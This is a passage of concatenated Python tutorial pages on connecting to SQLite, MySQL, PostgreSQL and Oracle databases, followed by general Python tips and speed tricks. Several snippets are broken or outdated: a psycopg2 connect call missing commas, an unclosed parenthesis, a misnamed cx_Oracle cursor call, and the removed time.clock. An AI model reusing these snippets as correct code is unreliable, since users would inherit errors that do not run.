    (u'Basu', 42, 113058)
    (u'Firoz', 65, 113059)
    (u'Tim', 47, 113060)
    (u'Varun', 54, 113061)
    

    Graphing with SQLite




    # graph visualization using matplotlib library
    import matplotlib.pyplot as plt
      
    def graph_data(p_id,age):
      
        # plotting the points    
        plt.plot(p_id, age, color='yellow', linestyle='dashed', linewidth = 3,
        marker='*', markerfacecolor='blue', markersize=12)
      
        # naming the x axis
        plt.xlabel('Persons Id')
      
        # naming the y axis
        plt.ylabel('Ages')
      
        # plt.plot(p_id,age)
        plt.show()
      
    print ("Enter 5 students names:")
    who = [raw_input() for i in range(5)]
    print ("Enter their ages respectively:")
    age = [int(raw_input()) for i in range(5)]
    print ("Enter their ids respectively:")
    p_id = [int(raw_input()) for i in range(5)]
      
    # calling graph function
    graph_data(p_id,age)

    In this way we can perform such operations using SQL query to communicate with Database and plot a Graph significantly to draw out its characteristic.

    SQL using Python | Set 1
    SQL using Python | Set 3 (Handling large data)


    My Personal Notes arrow_drop_up

    SQL using Python | Set 3 (Handling large data)

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 24 Nov, 2020

    It is recommended to go through SQL using Python | Set 1 and SQL using Python and SQLite | Set 2

    In the previous articles the records of the database were limited to small size and single tuple. This article will explain how to write & fetch large data from the database using module SQLite3 covering all exceptions.
    A simple way is to execute the query and use fetchall(). This has been already discussed in SET 1.


    My Personal Notes arrow_drop_up

    Inserting variables to database table using Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 02 Jul, 2021

    In this article, we will see how one can insert the user data using variables. 
    Here, we are using the sqlite module to work on a database but before that, we need to import that package. 
     

    import sqlite3

    To see the operation on a database level just download the SQLite browser database.
    Note: For the demonstration, we have used certain values but you can take input instead of those sample values.
    Steps to create and Insert variables in database
    Code #1: Create the database
     

    Python3




    conn = sqlite3.connect('pythonDB.db')
    c = conn.cursor()

    Explanation: 
    We have initialised the database pythonDB.py. This instruction will create the database if the database doesn’t exist. If the database having the same name as defined exist than it will move further. In the second statement, we use a method of sqlite3 named cursor(), this help you to initiate the database as active.
    Cursors are created by the connection cursor() method, they are bound to the connection for the entire lifetime and all the commands are executed in the context of the database session wrapped by the connection. 
     
    Code #2: Create table
     

    Python3




    def create_table():
        c.execute('CREATE TABLE IF NOT EXISTS RecordONE (Number REAL, Name TEXT)')

    Explanation: 
    We have created a function create_table. This will help you to create table if not exist, as written in the query for SQLite database. As we have initiated the table name by RecordONE. After that we pass as many parameters as we want, we just need to give an attribute name along with its type, here, we use REAL and Text.
      
    Code #3: Inserting into table
     

    Python3




    def data_entry():
        number = 1234
        name = "GeeksforGeeks"
        c.execute("INSERT INTO RecordONE (Number, Name) VALUES(?, ?)",
                                                      (number, name))
     
        conn.commit()

    Explanation: 
    Another function called data_entry. We are trying to add the values into the database with the help of user input or by variables. We use the execute() method to execute the query. Then use the commit() method to save the changes you have done above.
      
    Code #4: Method calling and Close the connection.
     

    Python3




    create_table()
    data_entry()
     
    c.close()
    conn.close()

    Explanation: 
    We normally use the method call, also remember to close the connection and database for the next use if we want to write error-free code because without closing we can’t open the connection again.
    Let’s see the complete example now. 
    Example:
     

    Python3




    import sqlite3
     
    conn = sqlite3.connect('pythonDB.db')
    c = conn.cursor()
     
    def create_table():
        c.execute('CREATE TABLE IF NOT EXISTS RecordONE (Number REAL, Name TEXT)')
     
    def data_entry():
        number = 1234
        name = "GeeksforGeeks"
        c.execute("INSERT INTO RecordONE (Number, Name) VALUES(?, ?)", (number, name))
        conn.commit()
     
    create_table()
    data_entry()
     
    c.close()
    conn.close()

    Output: 
     

    Inserting one more value using data_entry() method. 
     

    Python3




    def data_entry():
        number = 4321
        name = "Author"
        c.execute("INSERT INTO RecordONE (Number, Name) VALUES(?, ?)", (number, name))
        conn.commit()

    Output: 
     

     


    My Personal Notes arrow_drop_up

    MYSQLdb Connection in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 23 Nov, 2021

    In this article, I have discussed how to connect to MySQL database remotely using python. For any application, it is very important to store the database on a server for easy data access. It is quite complicated to connect to the database remotely because every service provider doesn’t provide remote access to the MySQL database. Here I am using python’s MySQLdb module for connecting to our database which is at any server that provides remote access.
     

    What is MYSQLdb?

    MySQLdb is an interface for connecting to a MySQL database server from Python. It implements the Python Database API v2.0 and is built on top of the MySQL C API.
     

    Packages to Install 

    mysql-connector-python
    mysql-python

    If using anaconda 

    conda install -c anaconda mysql-python
    conda install -c anaconda mysql-connector-python

    else 

    pip install MySQL-python
    pip install MySQL-python-connector

    Import-Package 

    import MYSQLdb

     How to connect to a remote MySQL database using python?

    Before we start you should know the basics of SQL. Now let us discuss the methods used in this code: 

    1. Server Name
    2. Database User Name
    3. Database Password
    4. Database Name

    Free remote mysql database providers: 
    1.www.freemysqlhosting.net 
    2.www.heliohost.org 
     

    Python3




    '''This code would not be run on geeksforgeeks IDE
    because required module
    are not installed on IDE. Also this code requires
    a remote MySQL databaseconnection with valid
    Hostname, Dbusername Password and Dbname''' 
     
    # Module For Connecting To MySQL database
    import MySQLdb
     
    # Function for connecting to MySQL database
    def mysqlconnect():
        #Trying to connect
        try:
            db_connection= MySQLdb.connect
            ("Hostname","dbusername","password","dbname")
        # If connection is not successful
        except:
            print("Can't connect to database")
            return 0
        # If Connection Is Successful
        print("Connected")
     
        # Making Cursor Object For Query Execution
        cursor=db_connection.cursor()
     
        # Executing Query
        cursor.execute("SELECT CURDATE();")
     
        # Above Query Gives Us The Current Date
        # Fetching Data
        m = cursor.fetchone()
     
        # Printing Result Of Above
        print("Today's Date Is ",m[0])
     
        # Closing Database Connection
        db_connection.close()
     
    # Function Call For Connecting To Our Database
    mysqlconnect()
    Connected
    Today's Date Is  2017-11-14

    Python3




    # Python code to illustrate and create a
    # table in database
    import mysql.connector as mysql
     
    # Open database connection
    db = mysql.connect(host="localhost",user="root",password="tiger",database="python")
     
    cursor = db.cursor()
     
    # Drop table if it already exist using execute()
    cursor.execute("DROP TABLE IF EXISTS EMPLOYEE")
     
    # Create table as per requirement
    sql = "CREATE TABLE EMPLOYEE ( FNAME CHAR(20) NOT NULL, LNAME CHAR(20), AGE INT )"
     
    cursor.execute(sql) #table created
     
    # disconnect from server
    db.close()

    Output:


    My Personal Notes arrow_drop_up

    Python | Database management in PostgreSQL

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Hard
    • Last Updated : 25 Jun, 2019

    PostgreSQL is an open source object-relational database management system. It is well known for its reliability, robustness, and performance. PostgreSQL has a variety of libraries of API (Application programmable interface) that are available for a variety of popular programming languages such as Python. It provides a lot of features for Database management such as Views, Triggers, Indexes (using B-Trees), etc.

    There are several python modules that allow us to connect to and manipulate the database using PostgreSQL:

    Psycopg2 is one of the most popular python drivers for PostgreSQL. It is actively maintained and provides support for different versions of python. It also provides support for Threads and can be used in multithreaded applications. For these reasons, it is a popular choice for developers.

    In this article, we shall explore the features of PostgreSQl using psycopg2 by building a simple database management system in python.

    Installation:

    sudo pip3 install psycopg2 

    Note: if you are using Python2, use pip install instead of pip3

    Once psycopg has been installed in your system, we can connect to the database and execute queries in Python.

    Creating the database

    before we can access the database in python, we need to create the database in postgresql. To create the database, follow the steps given below:

    1. Log in to PostgreSQL:
      sudo -u postgres psql

    2. Configure the password:
      \password

      You will then be prompted to enter the password. remember this as we will use it to connect to the database in Python.

    3. Create a database called “test”. we will connect to this database.
      CREATE DATABASE test; 

      Once the database and password have been configured, exit the psql server.

      Connecting to the database

      The connect() method is used to establish connection with the database. It takes 5 parameters:

      1. database: The name of the database you are connecting to
      2. user: the username of your local system
      3. password: the password to log in to psql
      4. host: The host, which is set to localhost by default
      5. port: The port number which is 5432 by default
      conn = psycopg2.connect(
                  database="test", 
                  user = "adith", 
                  password = "password", 
                  host = "localhost", 
                  port = "5432")

      Once the connection has been established, we can manipulate the database in python.

      The Cursor object is used to execute sql queries. we can create a cursor object using the connecting object (conn)

       cur = conn.cursor()  

      Using this object, we can make changes to the database that we are connected to.

      After you have executed all the queries, we need to disconnect from the connection. Not disconnecting will not cause any errors but it is generally considered a good practice to disconnect.

       conn.close() 

      Executing queries

      The execute() method takes in one parameter, the SQL query to be executed. The SQL query is taken in the form of a string that contains the SQL statement.

       cur.execute("SELECT * FROM emp") 

      Fetching the data

      Once the query has been executed, the results of the query can be obtained using the fetchall() method. This method takes no parameters and returns the result of select queries.

       res = cur.fetchall() 

      The result of the query is stored in the res variable.

      Putting it all together

      Once we have created the database in PostgreSQL, we can access that database in python. We first create an emp table in the database called test with the schema: (id INTEGER PRIMARY KEY, name VARCHAR(10), salary INT, dept INT). Once the table is created without any errors, we insert values into the table.
      Once the values are inserted, we can query the table to select all the rows and display them to the user using the fetchall() function.




      # importing libraries
      import psycopg2
        
      # a function to connect to
      # the database.
      def connect():
        
          # connecting to the database called test
          # using the connect function
          try:
        
              conn = psycopg2.connect(database ="test"
                                  user = "adith"
                                  password = "password"
                                  host = "localhost"
                                  port = "5432")
        
              # creating the cursor object
              cur = conn.cursor()
            
          except (Exception, psycopg2.DatabaseError) as error:
                
              print ("Error while creating PostgreSQL table", error)
            
        
          # returing the conn and cur
          # objects to be used later
          return conn, cur
        
        
      # a function to create the 
      # emp table.
      def create_table():
        
          # connect to the database.
          conn, cur = connect()
        
          try:
              # the test database contains a table called emp  
              # the schema : (id INTEGER PRIMARY KEY,  
              # name VARCHAR(10), salary INT, dept INT) 
              # create the emp table 
        
              cur.execute('CREATE TABLE emp (id INT PRIMARY KEY, name VARCHAR(10),
                                             salary INT, dept INT)')
        
              # the commit function permanently
              # saves the changes made to the database
              # the rollback() function can be used if
              # there are any undesirable changes and
              # it simply undoes the changes of the
              # previous query
            
          except:
        
              print('error')
        
          conn.commit() 
        
         
      # a function to insert data
      # into the emp table
      def insert_data(id = 1, name = '', salary = 1000, dept = 1):
        
          conn, cur = connect()
        
          try:
              # inserting values into the emp table
              cur.execute('INSERT INTO emp VALUES(%s, %s, %s, %s)',
                                          (id, name, salary, dept))
            
          except Exception as e:
        
              print('error', e)
          # commiting the transaction.
          conn.commit()
        
        
      # a function to fetch the data 
      # from the table
      def fetch_data():
        
          conn, cur = connect()
        
          # select all the rows from emp
          try:
              cur.execute('SELECT * FROM emp')
            
          except:
              print('error !')
        
          # store the result in data
          data = cur.fetchall()
        
          # return the result
          return data
        
      # a function to print the data
      def print_data(data):
        
          print('Query result: ')
          print()
        
          # iterating over all the 
          # rows in the table
          for row in data:
        
              # printing the columns
              print('id: ', row[0])
              print('name: ', row[1])
              print('salary: ', row[2])
              print('dept: ', row[3])
              print('----------------------------------')
        
      # function to delete the table
      def delete_table():
        
          conn, cur = connect()
        
          # delete the table
          try:
        
              cur.execute('DROP TABLE emp')
        
          except Exception as e:
              print('error', e)
        
          conn.commit()
        
        
      # driver function
      if __name__ == '__main__':
        
          # create the table
        
          create_table()
        
          # inserting some values
          insert_data(1, 'adith', 1000, 2)
          insert_data(2, 'tyrion', 100000, 2)
          insert_data(3, 'jon', 100, 3)
          insert_data(4, 'daenerys', 10000, 4)
        
          # getting all the rows
          data = fetch_data()
        
          # printing the rows
          print_data(data)
        
          # deleting the table
          # once we are done with
          # the program
          delete_table()

      Output :


      My Personal Notes arrow_drop_up

    Oracle Database Connection in Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 25 May, 2021

    Sometimes as part of programming, we required to work with the databases because we want to store a huge amount of information so we use databases, such as Oracle, MySQL, etc. So In this article, we will discuss the connectivity of Oracle database using Python. This can be done through the module name cx_Oracle

    Oracle Database 
    For communicating with any database through our Python program we require some connector which is nothing but the cx_Oracle module.

    For installing cx-Oracle : 

    If you are using Python >= 3.6 use the below command in Linux: –

    pip install cx-Oracle

    If you are using Python >= 3.6 use the below command in Windows: –

    py -m pip install cx-Oracle

    By this command, you can install cx-Oracle package but it is required to install Oracle database first on your PC.
     

    con = cx_Oracle.connect('username/password@localhost')
    cursor = cx_Oracle.cursor()

    cursor.execute(sqlquery) – – – -> to execute a single query. 
    cursor.executemany(sqlqueries) – – – -> to execute a single query with multiple bind variables/place holders.

    cursor.close()
    con.close()

    Execution of SQL statement: 

    1. Creation of table

    Python3




    # importing module
    import cx_Oracle
     
    # Create a table in Oracle database
    try:
     
        con = cx_Oracle.connect('tiger/scott@localhost:1521/xe')
        print(con.version)
     
        # Now execute the sqlquery
        cursor = con.cursor()
     
        # Creating a table employee
        cursor.execute("create table employee(empid integer primary key, name varchar2(30), salary number(10, 2))")
     
        print("Table Created successfully")
     
    except cx_Oracle.DatabaseError as e:
        print("There is a problem with Oracle", e)
     
    # by writing finally if any error occurs
    # then also we can close the all database operation
    finally:
        if cursor:
            cursor.close()
        if con:
            con.close()

    Output: 

    Table Created successfully

    DDL statements don’t require to be committed. They are automatically committed. In the above program, I have used execute() method to execute an SQL statement.

    2. Inserting a record into table using execute() method

    Python3




    # importing module
    import cx_Oracle
     
    # Inserting a record into a table in Oracle database
    try:
        con = cx_Oracle.connect('tiger/scott@localhost:1521/xe')
        cursor = con.cursor()
         
        #con.autocommit = True
        # Inserting a record into table employee
        cursor.execute('insert into employee values(10001,\'Rahul\',50000.50)')
     
        # commit() to make changes reflect in the database
        con.commit()
        print('Record inserted successfully')
     
    except cx_Oracle.DatabaseError as e:
        print("There is a problem with Oracle", e)
     
    # by writing finally if any error occurs
    # then also we can close the all database operation
    finally:
        if cursor:
            cursor.close()
        if con:
            con.close()

    Output: 

    Record inserted successfully

    Once we execute any DML statement it is required to commit the transaction. You can commit a transaction in 2 ways: –

    1. con.commit(). This is used to commit a transaction manually.
    2. con.autocommit = True. This is used to commit a transaction automatically.

    3. Inserting multiple records into a table using executemany() method

    Python3




    import cx_Oracle
     
    # Load data from a csv file into Oracle table using executemany
    try:
        con = cx_Oracle.connect('tiger/scott@localhost:1521/xe')
     
    except cx_Oracle.DatabaseError as er:
        print('There is an error in Oracle database:', er)
     
    else:
        try:
            cur = con.cursor()
            data = [[10007, 'Vikram', 48000.0], [10008, 'Sunil', 65000.1], [10009, 'Sameer', 75000.0]]
     
            cur = con.cursor()
            # Inserting multiple records into employee table
            # (:1,:2,:3) are place holders. They pick data from a list supplied as argument
            cur.executemany('insert into employee values(:1,:2,:3)', data)
     
        except cx_Oracle.DatabaseError as er:
            print('There is an error in Oracle database:', er)
     
        except Exception as er:
            print(er)
     
        else:
            # To commit the transaction manually
            con.commit()
            print('Multiple records are inserted successfully')
     
    finally:
        if cur:
            cur.close()
        if con:
            con.close()

    Output:  

    Multiple records are inserted successfully

    There might be times when it is required to execute a SQL statement multiple times based on the different values supplied to it each time. This can be achieved using executemany() method. We supply a list containing a list of values that will replace placeholders in a SQL query to be executed. 

    From the above case

    And so on(next list of values in a given list)

    Similarly, you can supply a list of dictionaries. But instead of placeholder, we will use the bind variable( discussed later).

    4. View result set from a select query using fetchall(), fetchmany(int), fetchone()

    Python3




    import cx_Oracle
     
    try:
        con = cx_Oracle.connect('tiger/scott@localhost:1521/xe')
     
    except cx_Oracle.DatabaseError as er:
        print('There is an error in the Oracle database:', er)
     
    else:
        try:
            cur = con.cursor()
     
            # fetchall() is used to fetch all records from result set
            cur.execute('select * from employee')
            rows = cur.fetchall()
            print(rows)
     
            # fetchmany(int) is used to fetch limited number of records from result set based on integer argument passed in it
            cur.execute('select * from employee')
            rows = cur.fetchmany(3)
            print(rows)
     
            # fetchone() is used fetch one record from top of the result set
            cur.execute('select * from employee')
            rows = cur.fetchone()
            print(rows)
     
        except cx_Oracle.DatabaseError as er:
            print('There is an error in the Oracle database:', er)
     
        except Exception as er:
            print('Error:'+str(er))
     
        finally:
            if cur:
                cur.close()
     
    finally:
        if con:
            con.close()

    Output:

    [(10001, 'Rahul', 50000.5), (10002, 'Sanoj', 40000.75), (10003, 'Soumik', 30000.25), (10004, 'Sayan', 45000.0), (10005, 'Sobhan', 60000.1), (10006, 'Gururaj', 70000.0), (10007, 'Vikram', 48000.0), (10008, 'Sunil', 65000.1), (10009, 'Sameer', 75000.0)]
    [(10001, 'Rahul', 50000.5), (10002, 'Sanoj', 40000.75), (10003, 'Soumik', 30000.25)]
    (10001, 'Rahul', 50000.5)

    In the above program, we have used 3 methods 

    1. fetchall() : The fetchall() is used to fetch all records from the result set.
    2. fetchmany(int) : The fetchmany(int) is used to fetch the limited number of records from the result set based on the integer argument passed in it.
    3. fetchone() : The fetchone() is used to fetch one record from the top of the result set.

    5. View result set from a select query using bind variable

    Python3




    import cx_Oracle
     
    try:
        con = cx_Oracle.connect('tiger/scott@localhost:1521/xe')
     
    except cx_Oracle.DatabaseError as er:
        print('There is error in the Oracle database:', er)
     
    else:
        try:
            cur = con.cursor()
     
            cur.execute('select * from employee where salary > :sal', {'sal': 50000})
            rows = cur.fetchall()
            print(rows)
     
        except cx_Oracle.DatabaseError as er:
            print('There is error in the Oracle database:', er)
     
        except Exception as er:
            print('Error:', er)
     
        finally:
            if cur:
                cur.close()
     
    finally:
        if con:
            con.close()

    Output:

    [(10001, 'Rahul', 50000.5), (10005, 'Sobhan', 60000.1), (10006, 'Gururaj', 70000.0),
     (10008, 'Sunil', 65000.1), (10009, 'Sameer', 75000.0)]

    In this case, I have passed a dictionary in execute() method. This dictionary contains the name of the bind variable as a key, and it’s corresponding value. When the SQL query is executed, value from the key is substituted in place of bind variable.


    My Personal Notes arrow_drop_up

    10 Essential Python Tips And Tricks For Programmers

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy

    Python is one of the most preferred languages out there. Its brevity and high readability makes it so popular among all programmers.
    So here are few of the tips and tricks you can use to bring up your Python programming game.

    1. In-Place Swapping Of Two Numbers.




    x, y = 10, 20
    print(x, y)
    x, y = y, x
    print(x, y)
    Output:
    10 20
    20 10
    

    2. Reversing a string in Python




    a = "GeeksForGeeks"
    print("Reverse is", a[::-1])
    Output:
    Reverse is skeeGroFskeeG
    

    3. Create a single string from all the elements in list




    a = ["Geeks", "For", "Geeks"]
    print(" ".join(a))
    Output:
    Geeks For Geeks
    

    4. Chaining Of Comparison Operators.




    n = 10
    result = 1 < n < 20
    print(result)
    result = 1 > n <= 9
    print(result)
    Output:
    True
    False
    

    4. Print The File Path Of Imported Modules.




    import os
    import socket
      
    print(os)
    print(socket)
    Output:
    <module 'os' from '/usr/lib/python3.5/os.py'>
    <module 'socket' from '/usr/lib/python3.5/socket.py'>
    

    5. Use Of Enums In Python.




    class MyName:
        Geeks, For, Geeks = range(3)
      
    print(MyName.Geeks)
    print(MyName.For)
    print(MyName.Geeks)
    Output:
    2
    1
    2
    

    6. Return Multiple Values From Functions.




    def x():
        return 1, 2, 3, 4
    a, b, c, d = x()
      
    print(a, b, c, d)
    Output:
    1 2 3 4
    

    7. Find The Most Frequent Value In A List.




    test = [1, 2, 3, 4, 2, 2, 3, 1, 4, 4, 4]
    print(max(set(test), key = test.count))
    Output:
    4
    

    8. Check The Memory Usage Of An Object.




    import sys
    x = 1
    print(sys.getsizeof(x))
    Output:
    28
    

    9. Print string N times.




    n = 2
    a = "GeeksforGeeks"
    print(a * n)
    Output:
    GeeksforGeeksGeeksforGeeks
    

    10. Checking if two words are anagrams




    from collections import Counter
    def is_anagram(str1, str2):
         return Counter(str1) == Counter(str2)
      
    # or without having to import anything 
    def is_anagram(str1, str2): 
        return sorted(str1) == sorted(str2) 
      
    print(is_anagram('geek', 'eegk'))
    print(is_anagram('geek', 'peek'))    
    Output:
    True
    False
    

    References:
    1.10 Neat Python Tricks Beginners Should Know
    2.30 Essential Python Tips And Tricks For Programmers


    My Personal Notes arrow_drop_up

    Amazing hacks of Python

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 27 Dec, 2021

    Python is indeed one of the smart and most trending languages. Here are some cool hacks that make python superb among all other languages. 

    Python




    # Declaring the list geek
    geek = ['Geeks', 'Programming', 'Algorithm', 'Article']
       
    # Directly printing the list
    print ("Simple List:", geek)
       
    # Printing the list by join method
    print ('List by using join method: %s' % ', ' .join(geek))
       
    # Direct use of join method
    print ('Direct apply the join method:',(", " .join(geek)))
    Output: 
    Simple List: ['Geeks', 'Programming', 'Algorithm', 'Article']
    List by using join method: Geeks, Programming, Algorithm, Article
    Direct apply the join method: Geeks, Programming, Algorithm, Article

    Cool Zip tricks

    Python3




    # Declaring the list geek
    geek = ['Sun', 'Flowers', 'Peoples', 'Animals', 'Day', 'Night']
     
    partition = list(zip (*[iter(geek)] * 2))
    print (partition)
    Output: 
    [('Sun', 'Flowers'), ('Peoples', 'Animals'), ('Day', 'Night')]

    Explanation: [iter(geek)] * 2 produces a list containing 2 items of geek[] list, i.e. a list of length 2. *arg unpacks a sequence into arguments for a function call. Therefore we are passing the same iterator 2 times to zip(). 

    Python




    list1 = [1, 3, 5, 7]
    list2 = [2, 4, 6, 8]
     
    # Here zip() function takes two equal length list and merges them
    # together in pairs
    for a, b in zip(list1,list2):
        print (a, b)
    Output: 
    1 2
    3 4
    5 6
    7 8

    Python3




    # Reads a string from input and type case them to int
    # after splitting to white-spaces
     
    formatted_list = list(map(int, input().split()))
    print(formatted_list)
    Input:
    2 4 5 6
    Output:
    [2, 4, 5, 6] 

    Python3




    # import the itertools
    import itertools
     
    # Declaring the list geek
    geek = [[1, 2], [3, 4], [5, 6]]
     
    # chain.from_iterable() function returns the
    # elements of nested list
    # and iterate from first list
    # of iterable till the last
    # end of the list
     
    lst = list(itertools.chain.from_iterable(geek))
    print(lst)
    Output: 
    [1, 2, 3, 4, 5, 6]

    Python




    # + used for string concatenation
    # To repeat the character n times, just multiply n 
    # with that character  
    print ("G" + "e"*5 + "k"*4 + "s"*2)
    Output:
    Geeeeekkkkss

    Read More: 10 interesting facts about Python 
    Reference: https://www.quora.com/What-are-some-cool-Python-tricks

    This article is contributed by Shubham Bansal. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
     


    My Personal Notes arrow_drop_up

    Python Input Methods for Competitive Programming

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 28 Jan, 2022

    Python is an amazingly user-friendly language with the only flaw of being slow. In comparison to C, C++, and Java, it is quite slower. Online coding platforms, if C/C++ limit provided is X. Usually, in Java time provided is 2X and Python, it’s 5X.
    To improve the speed of code execution for input/output intensive problems, languages have various input and output procedures.
     

    An Example Problem : 
    Consider a question of finding the sum of N numbers inputted from the user. 
    Input a number N
    Input N numbers are separated by a single space in a line. 
     

    Examples: 

    Input : 
    5
    1 2 3 4 5
    Output :
    15

    Different Python solutions for the above Problem : 

    Normal Method Python: (Python 2.7) 
    1. raw_input() takes an optional prompt argument. It also strips the trailing newline character from the string it returns. 
    2. print is just a thin wrapper that formats the inputs (space between args and newline at the end) and calls the write function of a given object. 
     

    Python3




    # basic method of input output
    # input N
    n = int(input())
     
    # input the array
    arr = [int(x) for x in input().split()]
     
    # initialize variable
    summation = 0
     
    # calculate sum
    for x in arr:
        summation += x
         
    # print answer
    print(summation)

    A bit faster method using inbuilt stdin, stdout: (Python 2.7) 
    1. sys.stdin on the other hand is a File Object. It is like creating any other file object one could create to read input from the file. In this case, the file will be a standard input buffer. 
    2. stdout.write(‘D\n’) is faster than print ‘D’
    3. Even faster is to write all once by stdout.write(“”.join(list-comprehension)) but this makes memory usage dependent on the size of the input. 
     

    Python3




    # import inbuilt standard input output
    from sys import stdin, stdout
     
    # suppose a function called main() and
    # all the operations are performed
    def main():
     
        # input via readline method
        n = stdin.readline()
     
        # array input similar method
        arr = [int(x) for x in stdin.readline().split()]
     
        #initialize variable
        summation = 0
         
        # calculate sum
        for x in arr:
            summation += x
     
        # could use inbuilt summation = sum(arr)
     
        # print answer via write
        # write method writes only
        # string operations
        # so we need to convert any
        # data into string for input
        stdout.write(str(summation))
     
    # call the main method
    if __name__ == "__main__":
        main()   

    The difference in time: 
     

    Timing summary (100k lines each) 
    ——————————– 
    Print : 6.040 s 
    Write to file : 0.122 s 
    Print with Stdout : 0.121 s

    As we have seen till now that taking input from the standard system and giving output to the standard system is always a good idea to improve the efficiency of the code which is always a need in Competitive programming. But wait! would you like to write these long lines every time when you need them? Then, what’s the benefit of using Python. 
    Let’s discuss the solution to this problem. What we can do is let’s create separate functions for taking inputs of various types and just call them whenever you need them. 
     

    When you want to take input of particular integers of integers given in a single line

    Suppose the input is of the following form 
     

    5 7 19 20

    and we want separate variables to reference them. what we want is: 
     

    a = 5
    b = 7
    c = 19
    d = 20

    so, we can create a function named as get_ints() as follows: 
     

    Python3




    import sys
    def get_ints(): return map(int, sys.stdin.readline().strip().split())
     
    a,b,c,d = get_ints()

    Now you don’t have to write this line again and again. You just have to call the get_ints() function in order to take input in this form. In the function get_ints we are using the map function.

    When you want to take input of list of integers given in a single line

    Suppose the input is of the following form
     

    1 2 3 4 5 6 7 8

    and we want that a single variable will hold the whole list of integers. What we want is : 
     

    Arr = [1, 2, 3, 4, 5, 6, 7, 8]

    So, here we will create a function named get_list() as follows: 
     

    Python3




    import sys
    def get_ints(): return list(map(int, sys.stdin.readline().strip().split()))
     
    Arr = get_ints()

    Now you don’t have to write this line again and again. You just have to call the get_ints() function in order to take input in this form
     

    When you want to take input of string

    Suppose the input is of the following form 
     

    GeeksforGeeks is the best platform to practice Coding.

    and we want that a single reference variable will hold this string. What we want is : 
     

    string = "GeeksforGeeks if the best platform to practice coding."

    So, here we will create a function named get_string() as follows: 

    Python3




    import sys
    def get_string(): return sys.stdin.readline().strip()
     
    string = get_string()

    Now you don’t have to write this line again and again. You just have to call the get_string() function in order to take input in this form
    Adding a buffered pipe io: (Python 2.7) 
    1. Simply, adding the buffered IO code before your submission code to make the output faster. 
    2. The benefit of io.BytesIO objects is that they implement a common interface (commonly known as a ‘file-like’ object). BytesIO objects have an internal pointer and for every call to read(n) the pointer advances. 
    3. The atexit module provides a simple interface to register functions to be called when a program closes down normally. The sys module also provides a hook, sys.exitfunc, but only one function can be registered there. The atexit registry can be used by multiple modules and libraries simultaneously. 
     

    Python3




    # template begins
    #####################################
     
    # import libraries for input/ output handling
    # on generic level
    import atexit, io, sys
     
    # A stream implementation using an in-memory bytes
    # buffer. It inherits BufferedIOBase.
    buffer = io.BytesIO()
    sys.stdout = buffer
     
    # print via here
    @atexit.register
    def write():
        sys.stdout.write(buffer.getvalue())
     
    #####################################
    # template ends
     
    # normal method followed
    # input N
    n = int(input())
     
    # input the array
    arr = [int(x) for x in input().split()]
     
    # initialize variable
    summation = 0
     
    # calculate sum
    for x in arr:
        summation += x
     
    # print answer
    print(summation)

    While handling a large amount of data usually, the normal method fails to execute within the time limit. Method 2 helps in maintaining a large amount of I/O data. Method 3 is the fastest. Usually, handling of input data files greater than 2 or 3 MBs is helped via methods 2 and 3.
    Note: above mention codes are in Python 2.7, to use in Python 3.X versions. Simply replace the raw_input() with Python 3.X’s input() syntax. Rest should work fine.
    References: 
    1.More About Input in Python 2.7 
    2.Output via sys library and other commands. 
    3.Input via sys library and other commands. 
    4. Python atexit Module docs.
    This article is contributed by Shubham Saxena. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
     


    My Personal Notes arrow_drop_up

    Optimization Tips for Python Code

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 19 Nov, 2020

    In this article, some interesting optimization tips for Faster Python Code are discussed. These techniques help to produce result faster in a python code.

    1. Use builtin functions and libraries: Builtin functions like map() are implemented in C code. So the interpreter doesn’t have to execute the loop, this gives a considerable speedup.
      The map() function applies a function to every member of iterable and returns the result. If there are multiple arguments, map() returns a list consisting of tuples containing the corresponding items from all iterables.




      # Python program to illustrate library functions
      # save time while coding with the example of map()
      import time
         
      # slower (Without map())
      start = time.clock() 
      s = 'geeks'
      U = []
      for c in s:
          U.append(c.upper())
      print (U)
      elapsed = time.clock()
      e1 = elapsed - start
      print ("Time spent in function is: ", e1)
         
      # Faster (Uses builtin function map())
      s = 'geeks'
      start = time.clock() 
      U = map(str.upper, s) 
      print (U)
      elapsed = time.clock()
      e2 = elapsed - start
      print ("Time spent in builtin function is: ", e2)

      Output:

      ['G', 'E', 'E', 'K', 'S']
      Time spent in function is:  0.0394747945637
      ['G', 'E', 'E', 'K', 'S']
      Time spent in builtin function is:  0.0212335531192
      
      

      The packages are platform-specific, which means that we need the appropriate package for the platform we’re using. If we are doing string operation, consider using an existing module ‘collections’ like deque which is highly optimized for our purposes.




      # Python program to illustrate
      # importing list-like container with 
      # fast appends and pops on either end
      from collections import deque
      s = 'geek'
         
      # make a new deque
      d = deque(s)
         
      # add a new entry to the right side
      d.append('y')
         
      # add a new entry to the left side
      d.appendleft('h'
      print (d)
         
      d.pop() # return and remove the rightmost item
         
      d.popleft() # return and remove the lefttmost item
         
      # print list deque in reverse
      print (list(reversed(d))) 

      Output:

      deque(['h', 'g', 'e', 'e', 'k', 'y'])
      ['k', 'e', 'e', 'g']
      




      # importing iteration tools
      import itertools
      iter = itertools.permutations([1,2,3])
      print (list(iter))

      Output:

      [(1, 2, 3), (1, 3, 2), (2, 1, 3), (2, 3, 1), (3, 1, 2), (3, 2, 1)]
      
    2. Use keys for sorts: In Python, we should use the key argument to the built-in sort instead, which is a faster way to sort.




      # Python program to illustrate
      # using keys for sorting
      somelist = [1, -3, 6, 11, 5]
      somelist.sort()
      print (somelist)
        
      s = 'geeks'
      # use sorted() if you don't want to sort in-place:
      s = sorted(s)
      print (s)

      Output:

